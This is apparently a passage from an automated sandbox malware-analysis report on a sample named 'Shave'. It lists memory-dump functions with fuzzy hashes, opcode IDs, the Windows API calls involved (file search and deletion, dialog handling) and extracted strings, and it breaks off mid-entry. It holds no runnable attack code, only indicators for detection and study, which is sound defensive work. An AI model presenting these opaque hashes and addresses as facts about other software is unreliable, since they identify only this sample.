Opcode Fuzzy Hash: e0144619a2f18fc8dcc6a43326a89382817eadef7f219a50aa74142c8a069217
Instruction Fuzzy Hash: 67D05B31D2022B97CB11E7A5DC044DFF738EED5265B504626D51837140FB703659C6E1

Function 001528AB Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0c2444e7937dcf68cc2cf49c1f96735fbdf2d79cd0f1545bdcff07ecaa6e1a6
Instruction ID: 0dcaa56a6b9ae0b1ae8250c45c7b4ba9138ea1eaccea4ca4b2291f22a962c110
Opcode Fuzzy Hash: a0c2444e7937dcf68cc2cf49c1f96735fbdf2d79cd0f1545bdcff07ecaa6e1a6
Instruction Fuzzy Hash: 74D05B35D6022BD6CB11EBA1ED100EDB334EED5265B548617D53C37150EB34265EC6A1

Function 00158EF8 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction ID: 7664a699ddf78696b84bb1121c3968f2adab32b7b61b11eb126afe8992ed5369
Opcode Fuzzy Hash: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction Fuzzy Hash: 64C0803310C1246A9234104E7C40DA3774DC3C53B5A210137FD3CE7200DC425C8401F4

Function 38314A40 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6bcf6a8fc5b5cc97763b6c6cf357d7e0955c44ec9f118e41d4415dcd461ad97
Instruction ID: 594ff4d8e29414667ccc8e0f54b426dea6fc16679759ead267b7c67f9fe4a1c1
Opcode Fuzzy Hash: b6bcf6a8fc5b5cc97763b6c6cf357d7e0955c44ec9f118e41d4415dcd461ad97
Instruction Fuzzy Hash: CAD0A7367081146B4B051A49A4048AE7B5ED7CD7313008126F90987300CE754C5297E0

Function 0015D6D4 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1581f8d40b198ad092ffdc29827a837afddfccbff5ab2f904b91ca542699dadf
Instruction ID: 086b6eaf83d389d50af5d42478ee7879939c2524082e7c5b48b2a6dbfcc39813
Opcode Fuzzy Hash: 1581f8d40b198ad092ffdc29827a837afddfccbff5ab2f904b91ca542699dadf
Instruction Fuzzy Hash: 43D04235E44109CBCB20DFA8E9948DCBB71EF99322B60506AD929A3661D6345495CF11

Function 0015AFAD Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52c650d3b022b3c0abd0faba7ab19023f5ec47832997a4bb502f7f0f80e29eda
Instruction ID: d4d2c4ce82f1c48cea51201760d006d7873f500c2e83bbf84c5db421ef7520c5
Opcode Fuzzy Hash: 52c650d3b022b3c0abd0faba7ab19023f5ec47832997a4bb502f7f0f80e29eda
Instruction Fuzzy Hash: 28D0673AB400189FCB149F98EC809DDFB76FB98221B148116E915A3261C7319965DB60

Function 00156748 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276080775.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7120797d9c67da107896207182f421265ff8d5878378bef0837cca983c4aab3
Instruction ID: 601ce4d576f4fd3b440f49b903ebd361b75ecbcfb1017c58df12813e5a2a71bd
Opcode Fuzzy Hash: a7120797d9c67da107896207182f421265ff8d5878378bef0837cca983c4aab3
Instruction Fuzzy Hash: 1FC012300543084EC589FB65ED45955772FAB802447608530A10B0757FEFB859AB8BD0

Non-executed Functions

Function 00404C7B Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404C93
GetDlgItem.USER32(?,00000408), ref: 00404C9E
GlobalAlloc.KERNEL32(00000040,?), ref: 00404CE8
LoadBitmapW.USER32(0000006E), ref: 00404CFB
SetWindowLongW.USER32(?,000000FC,00405273), ref: 00404D14
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404D28
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404D3A
SendMessageW.USER32(?,00001109,00000002), ref: 00404D50
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404D5C
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404D6E
DeleteObject.GDI32(00000000), ref: 00404D71
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404D9C
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404DA8
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404E3E
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404E69
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404E7D
GetWindowLongW.USER32(?,000000F0), ref: 00404EAC
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404EBA
ShowWindow.USER32(?,00000005), ref: 00404ECB
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404FC8
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040502D
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405042
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00405066
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00405086
ImageList_Destroy.COMCTL32(?), ref: 0040509B
GlobalFree.KERNEL32(?), ref: 004050AB
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405124
SendMessageW.USER32(?,00001102,?,?), ref: 004051CD
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004051DC
InvalidateRect.USER32(?,00000000,00000001), ref: 004051FC
ShowWindow.USER32(?,00000000), ref: 0040524A
GetDlgItem.USER32(?,000003FE), ref: 00405255
ShowWindow.USER32(00000000), ref: 0040525C

Strings

M, xrefs: 00404E25
N, xrefs: 00404F06
, xrefs: 00405234

Memory Dump Source

Source File: 00000003.00000002.3276332072.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276278297.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276351148.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276373702.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276518741.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Shave.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: d51f85f8d95834ec81a3e8aa82d4b0f7780387708cc2f6482410258e2394dffd
Instruction ID: 9d148378a915bf423124f05431c6d1c5c5454a8af56f3bee09cc42272145c63f
Opcode Fuzzy Hash: d51f85f8d95834ec81a3e8aa82d4b0f7780387708cc2f6482410258e2394dffd
Instruction Fuzzy Hash: 59026EB0900209EFEB109F54DD85AAE7BB9FB85314F10817AF610BA2E1D7799E41CF58

Function 379F0040 Relevance: 23.0, Strings: 18, Instructions: 461COMMON

Download Yara Rule

Strings

PH]q, xrefs: 379F0675
PH]q, xrefs: 379F0471
0o@p, xrefs: 379F018F
PH]q, xrefs: 379F0566
Lj@p, xrefs: 379F02F3
Lj@p, xrefs: 379F04F6
Lj@p, xrefs: 379F05EE
Lj@p, xrefs: 379F03EB
PH]q, xrefs: 379F038D
Lj@p, xrefs: 379F0309
", xrefs: 379F0816
Lj@p, xrefs: 379F04E0
PH]q, xrefs: 379F0485
Lj@p, xrefs: 379F0401
PH]q, xrefs: 379F057A
Lj@p, xrefs: 379F05D8
PH]q, xrefs: 379F0661
PH]q, xrefs: 379F0379

Memory Dump Source

Source File: 00000003.00000002.3301681538.00000000379F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 379F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_379f0000_Shave.jbxd

Similarity

API ID:
String ID: "$0o@p$Lj@p$Lj@p$Lj@p$Lj@p$Lj@p$Lj@p$Lj@p$Lj@p$PH]q$PH]q$PH]q$PH]q$PH]q$PH]q$PH]q$PH]q
API String ID: 0-1947560563
Opcode ID: 0b5b445c2ec7ceb27920d47e790e5c4644b520abb012586a291c54b358a16d5b
Instruction ID: ad8636d5eb61b972b939051e2b673fc010f6104707989f43c96a992c0d904861
Opcode Fuzzy Hash: 0b5b445c2ec7ceb27920d47e790e5c4644b520abb012586a291c54b358a16d5b
Instruction Fuzzy Hash: 1732C074E00218CFEB64CF69C984B9DBBB6BF89304F1081A9D809A7361DB759E85CF10

Function 004059A9 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?), ref: 004059D2
lstrcatW.KERNEL32(007A3F28,\*.*,007A3F28,?,?), ref: 00405A1A
lstrcatW.KERNEL32(?,0040A014,?,007A3F28,?,?), ref: 00405A3D
lstrlenW.KERNEL32(?,?,0040A014,?,007A3F28,?,?), ref: 00405A43
FindFirstFileW.KERNEL32(007A3F28,?,?,?,0040A014,?,007A3F28,?,?), ref: 00405A53
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405AF3
FindClose.KERNEL32(00000000), ref: 00405B02

Strings

\*.*, xrefs: 00405A14
(?z, xrefs: 00405A02
., xrefs: 00405A78
., xrefs: 00405A64

Memory Dump Source

Source File: 00000003.00000002.3276332072.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276278297.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276351148.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276373702.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276518741.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Shave.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: (?z$.$.$\*.*
API String ID: 2035342205-1515725298
Opcode ID: 055fc45d478fb46821b4c1b9f61a2cf5f882e22ca3136cc8209be43affe2ce83
Instruction ID: 8b5db7531a0f4bb83586dba503ceccc8cbbd7972abfd892cd346515476ce1415
Opcode Fuzzy Hash: 055fc45d478fb46821b4c1b9f61a2cf5f882e22ca3136cc8209be43affe2ce83
Instruction Fuzzy Hash: 7D41D830900918A6CF21AB65CC89ABF7678EF82718F14827FF801B11C1D77C5985DE6E

Function 379F0006 Relevance: 12.9, Strings: 10, Instructions: 390COMMON

Download Yara Rule

Strings

PH]q, xrefs: 379F0675
PH]q, xrefs: 379F0471
", xrefs: 379F0816
0o@p, xrefs: 379F018F
PH]q, xrefs: 379F0566
PH]q, xrefs: 379F0485
PH]q, xrefs: 379F057A
PH]q, xrefs: 379F0661
PH]q, xrefs: 379F038D
PH]q, xrefs: 379F0379

Memory Dump Source

Source File: 00000003.00000002.3301681538.00000000379F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 379F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_379f0000_Shave.jbxd

Similarity

API ID:
String ID: "$0o@p$PH]q$PH]q$PH]q$PH]q$PH]q$PH]q$PH]q$PH]q
API String ID: 0-455001714
Opcode ID: f0ccf4dc6b328621d5fd191addbf1194c8c7ec13f6da863aadc3eba9014d14ca
Instruction ID: f6b493f13b352c862e46fccc97948e896a27228a97829cbbb91f86863f499e10
Opcode Fuzzy Hash: f0ccf4dc6b328621d5fd191addbf1194c8c7ec13f6da863aadc3eba9014d14ca
Instruction Fuzzy Hash: 6F12D1B4E002188FDB58CF69C994BDDBBB2BF89304F2081A9D509A7365DB759E85CF10

Function 004065DA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,007A4F70,?,00401676,00000000), ref: 004065E5
FindClose.KERNEL32(00000000,?,00401676,00000000), ref: 004065F1

Strings

pOz, xrefs: 004065DB

Memory Dump Source

Source File: 00000003.00000002.3276332072.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276278297.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276351148.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276373702.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276518741.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Shave.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: pOz
API String ID: 2295610775-1820424874
Opcode ID: e01e7619722b9f30efb83f7659fa0d40dd2a6717423703156fa95c420c1e82c9
Instruction ID: b37c022bec08382a0cb03c9db181d2efdea8b1f21deeb05207148622359d6313
Opcode Fuzzy Hash: e01e7619722b9f30efb83f7659fa0d40dd2a6717423703156fa95c420c1e82c9
Instruction Fuzzy Hash: EFD01231519020AFC2001B38BD0C84B7A589F463307158B3AB4A6F11E4CB788C6296A9

Function 379F0A10 Relevance: 2.7, Strings: 2, Instructions: 222COMMON

Download Yara Rule

Strings

0o@p, xrefs: 379F0A7B
&5, xrefs: 379F0A96

Memory Dump Source

Source File: 00000003.00000002.3301681538.00000000379F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 379F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_379f0000_Shave.jbxd

Similarity

API ID:
String ID: 0o@p$&5
API String ID: 0-808467365
Opcode ID: d270d8682d554ffadb756478953d06f93f37f5ad054f9b1ca531a8e7744cb207
Instruction ID: 2ddeb1f791df10f6471c303e68e36a607aac02dc126b305f6b2a4fb583839d9e
Opcode Fuzzy Hash: d270d8682d554ffadb756478953d06f93f37f5ad054f9b1ca531a8e7744cb207
Instruction Fuzzy Hash: 23B1A574E00218CFDB54DFA9D884A9DBBB2FF89314F2081A9D819AB365DB30AD45CF50

Function 379F0A01 Relevance: 2.6, Strings: 2, Instructions: 133COMMON

Download Yara Rule

Strings

0o@p, xrefs: 379F0A7B
&5, xrefs: 379F0A96

Memory Dump Source

Source File: 00000003.00000002.3301681538.00000000379F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 379F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_379f0000_Shave.jbxd

Similarity

API ID:
String ID: 0o@p$&5
API String ID: 0-808467365
Opcode ID: 05ab4f899f40cd59e890a891adbe98efc1006da3479a4ad080ef231f6b565812
Instruction ID: d02d111af1aa52aa4a663705cfacca507c62e5f78a563dfccd4227271bc1bd55
Opcode Fuzzy Hash: 05ab4f899f40cd59e890a891adbe98efc1006da3479a4ad080ef231f6b565812
Instruction Fuzzy Hash: CF51B874E00608CFDB08DFAAC484ADDBBF2BF89305F248169D419AB365DB31A942CF50

Function 38310040 Relevance: 1.8, Strings: 1, Instructions: 596COMMON

Download Yara Rule

Strings

.5uq, xrefs: 3831015B

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID: .5uq
API String ID: 0-910421107
Opcode ID: 80d1b202bb4fc334c78fad1e82af8335f3a1fb6ece953b744ee814f6e64f1d3a
Instruction ID: 0e439ec17c2731f988bab895c7e4eb7662116fa9e94cd6ed713d8274623755c6
Opcode Fuzzy Hash: 80d1b202bb4fc334c78fad1e82af8335f3a1fb6ece953b744ee814f6e64f1d3a
Instruction Fuzzy Hash: 6B529B74A01228CFDB64DF65C990BD9BBB2BB89301F1085EAD809A7355DB349E85CF50

Function 04B356B8 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

4U%5, xrefs: 04B35AAE, 04B35AC8

Memory Dump Source

Source File: 00000003.00000002.3279546991.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b30000_Shave.jbxd

Similarity

API ID:
String ID: 4U%5
API String ID: 0-2319075445
Opcode ID: fe2b041b7f89f2b4b321a8f1110639fc11da744e71cc5524df674f02fbcf0d14
Instruction ID: 5d28c1d1723899088dd37edd8c6aa61763092f7050d60f472b7cc45f8c58dec4
Opcode Fuzzy Hash: fe2b041b7f89f2b4b321a8f1110639fc11da744e71cc5524df674f02fbcf0d14
Instruction Fuzzy Hash: 93D1B178E00218CFDB54DFA9C994B9DBBB2BF89304F1080A9D909AB355DB346D86CF51

Function 04B32DA8 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

4U%5, xrefs: 04B3319E, 04B331B8

Memory Dump Source

Source File: 00000003.00000002.3279546991.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b30000_Shave.jbxd

Similarity

API ID:
String ID: 4U%5
API String ID: 0-2319075445
Opcode ID: c8062f3b35e4f4da6f722782a078edbbd1d2ab21f20ba98533aecf793e2b3111
Instruction ID: 4c08c662bd2a171163556bc2f8730e6de91b15430813f17dbc480fec32260489
Opcode Fuzzy Hash: c8062f3b35e4f4da6f722782a078edbbd1d2ab21f20ba98533aecf793e2b3111
Instruction Fuzzy Hash: 89D1A078E00218CFDB54DFA9C990B9DBBB2BF89300F1080A9D909AB365DB355D96CF51

Function 04B34D98 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

4U%5, xrefs: 04B3518E, 04B351A8

Memory Dump Source

Source File: 00000003.00000002.3279546991.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b30000_Shave.jbxd

Similarity

API ID:
String ID: 4U%5
API String ID: 0-2319075445
Opcode ID: 4d49f2cefff32b2d6c7265ee03dadd69720d11b17add1ebcabd0b4b2b5203f28
Instruction ID: a94ef369e98713066f44b94b7b526a6291090b18d7633e39c41346cb59841fb3
Opcode Fuzzy Hash: 4d49f2cefff32b2d6c7265ee03dadd69720d11b17add1ebcabd0b4b2b5203f28
Instruction Fuzzy Hash: 8BD1A178E00218CFDB54DFA9C990B9DBBB2BF89304F1080A9D809AB355DB355D96CF51

Function 04B31280 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

4U%5, xrefs: 04B31676, 04B31690

Memory Dump Source

Source File: 00000003.00000002.3279546991.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b30000_Shave.jbxd

Similarity

API ID:
String ID: 4U%5
API String ID: 0-2319075445
Opcode ID: 57c0d2c13f036651ae6be8f2d85cbf4eba9a5dba2d42f83cf64308b1bf63f316
Instruction ID: 802dfdf6df7029090623a6bb870da12d74d1ee596eb86ce67943910c4db968a0
Opcode Fuzzy Hash: 57c0d2c13f036651ae6be8f2d85cbf4eba9a5dba2d42f83cf64308b1bf63f316
Instruction Fuzzy Hash: B2D1B078E00218CFDB54DFA9C980B9DBBB6BF89300F1080A9D809AB365DB355D86CF51

Function 04B32488 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

4U%5, xrefs: 04B3287E, 04B32898

Memory Dump Source

Source File: 00000003.00000002.3279546991.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b30000_Shave.jbxd

Similarity

API ID:
String ID: 4U%5
API String ID: 0-2319075445
Opcode ID: a685f4c56e93ea7f1187af191d69d7e042fea258ee7b73bed44d0f7ee05c5ea5
Instruction ID: 349b8b637d2f8cb7894f4f36f9cb2733419e10968a048a2af9867885917a813f
Opcode Fuzzy Hash: a685f4c56e93ea7f1187af191d69d7e042fea258ee7b73bed44d0f7ee05c5ea5
Instruction Fuzzy Hash: 20D1A178E00218CFDB54DFA9C990B9DBBB2BF89304F1080A9D909AB355DB356D86CF51

Function 04B30DF0 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

4U%5, xrefs: 04B311E6, 04B31200

Memory Dump Source

Source File: 00000003.00000002.3279546991.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b30000_Shave.jbxd

Similarity

API ID:
String ID: 4U%5
API String ID: 0-2319075445
Opcode ID: 0c1582e63947d7ecb366c368b5165222a91801414f2d29b5bcb97d23f561a240
Instruction ID: 2f73b5a5833c83f6ec1c398ed8790af61b6245857e85f00d7048d147aaf862ef
Opcode Fuzzy Hash: 0c1582e63947d7ecb366c368b5165222a91801414f2d29b5bcb97d23f561a240
Instruction Fuzzy Hash: 6DD1A078E00218CFDB54DFA9C990B9DBBB2BF89300F1080A9D808AB365DB355D96CF51

Function 04B31FF8 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

4U%5, xrefs: 04B323EE, 04B32408

Memory Dump Source

Source File: 00000003.00000002.3279546991.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b30000_Shave.jbxd

Similarity

API ID:
String ID: 4U%5
API String ID: 0-2319075445
Opcode ID: d6809b4957c0b9b4978c7577bf0938675486c274d072ea4047b66c97970c53ed
Instruction ID: fd80bff20ee63802b5f24a0e2e0364207749df3303cb3db448937112df9cf1b3
Opcode Fuzzy Hash: d6809b4957c0b9b4978c7577bf0938675486c274d072ea4047b66c97970c53ed
Instruction Fuzzy Hash: 66D1B274E00218CFDB54DFA9C980B9DBBB2BF89304F1080A9D509AB355DB346D96CF51

Function 04B33FE8 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

4U%5, xrefs: 04B343DE, 04B343F8

Memory Dump Source

Source File: 00000003.00000002.3279546991.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b30000_Shave.jbxd

Similarity

API ID:
String ID: 4U%5
API String ID: 0-2319075445
Opcode ID: e61e505d3fd822f973d50decb418285ee8d963da8fc31b6317966b3eb412114c
Instruction ID: 0076bb32ea92871d3a35076dbf62ef6a462e2c0ebb5e8ae9ef87689f5aac66b8
Opcode Fuzzy Hash: e61e505d3fd822f973d50decb418285ee8d963da8fc31b6317966b3eb412114c
Instruction Fuzzy Hash: 7ED1A078E00218CFDB54DFA9C990B9DBBB2BF89304F1080A9D909AB365DB355986CF51

Function 04B304D0 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

4U%5, xrefs: 04B308C6, 04B308E0

Memory Dump Source

Source File: 00000003.00000002.3279546991.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b30000_Shave.jbxd

Similarity

API ID:
String ID: 4U%5
API String ID: 0-2319075445
Opcode ID: 244f920b0dbc776ab4a2ebdaf9b1cfff39e824c951b8fc2f5bd150cefc39b398
Instruction ID: 71c0b1eeba0babe3027472dec383dab60b4a571fa2e9d19a54491707b08d69b6
Opcode Fuzzy Hash: 244f920b0dbc776ab4a2ebdaf9b1cfff39e824c951b8fc2f5bd150cefc39b398
Instruction Fuzzy Hash: F6D1A078E00218CFDB54DFA9C990B9DBBB2BF89304F1080A9D908AB365DB355986CF51

Function 04B336C8 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

4U%5, xrefs: 04B33ABE, 04B33AD8

Memory Dump Source

Source File: 00000003.00000002.3279546991.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b30000_Shave.jbxd

Similarity

API ID:
String ID: 4U%5
API String ID: 0-2319075445
Opcode ID: 97d310836aa465777cabfe011e71d5194d3f8132580aa6584d05c52ef53345ce
Instruction ID: 35d1ebb93163099767d8b703e35da7fa4d81cf602b6eb5b4ddd4a62eb2612c20
Opcode Fuzzy Hash: 97d310836aa465777cabfe011e71d5194d3f8132580aa6584d05c52ef53345ce
Instruction Fuzzy Hash: 9BD1B078E00218CFDB14DFA9C994B9DBBB2BF89300F1081A9D809AB365DB355986CF51

Function 38310B30 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a9afae318ee947b762e368e39f0a80a126a22592ee46e8aac46b8d0d1d4fc27
Instruction ID: edbcc172f93415dadc9caa5efd910d8283f942972bd56d5bf45ff508f7599072
Opcode Fuzzy Hash: 6a9afae318ee947b762e368e39f0a80a126a22592ee46e8aac46b8d0d1d4fc27
Instruction Fuzzy Hash: 6C72BB74E01228CFDB69DF69C990BDDBBB2BB49301F5091EAD409A7351DB34AA81CF50

Function 04B3FAB0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279546991.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b30000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a5d819d54603ab9a22a7db1cdbe820ea7350a43f62286f7a6b4d37a2530d876
Instruction ID: 62ae0f8fc4b92c4aea4ce5391f050819a09b6e68688091a0c371a407d52aa1b8
Opcode Fuzzy Hash: 5a5d819d54603ab9a22a7db1cdbe820ea7350a43f62286f7a6b4d37a2530d876
Instruction Fuzzy Hash: F6D1A274E01218CFDB54DFA5C994B9DBBB2BF89300F2081A9D809AB355DB359E86CF50

Function 04B38CB8 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279546991.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b30000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ece867e2cee064e3797b6697a0553f61fdb1965d8fe553148f0dc68ac9988c55
Instruction ID: 9c2d8627f2d3e04a50821f56857fa1810b02dc5fcf55f0bc9c7295b9a870342b
Opcode Fuzzy Hash: ece867e2cee064e3797b6697a0553f61fdb1965d8fe553148f0dc68ac9988c55
Instruction Fuzzy Hash: A5D19E74E00218CFDB54DFA5C994B9DBBB2BF89300F2081A9D809AB355DB359E86CF51

Function 04B3A4A0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279546991.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b30000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcdd6b6da4c9a08bf639d517521f21e9dd168061e714a9a846b9c919e6c5686a
Instruction ID: a4cf50da039062792dd90f845c9025a27448a2d87bbb1e6a216fd10112543a49
Opcode Fuzzy Hash: bcdd6b6da4c9a08bf639d517521f21e9dd168061e714a9a846b9c919e6c5686a
Instruction Fuzzy Hash: 1FD19E74E01218CFDB54DFA5C994B9DBBB2BF89300F2081A9D409AB395DB359E86CF50

Function 04B3CFA8 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

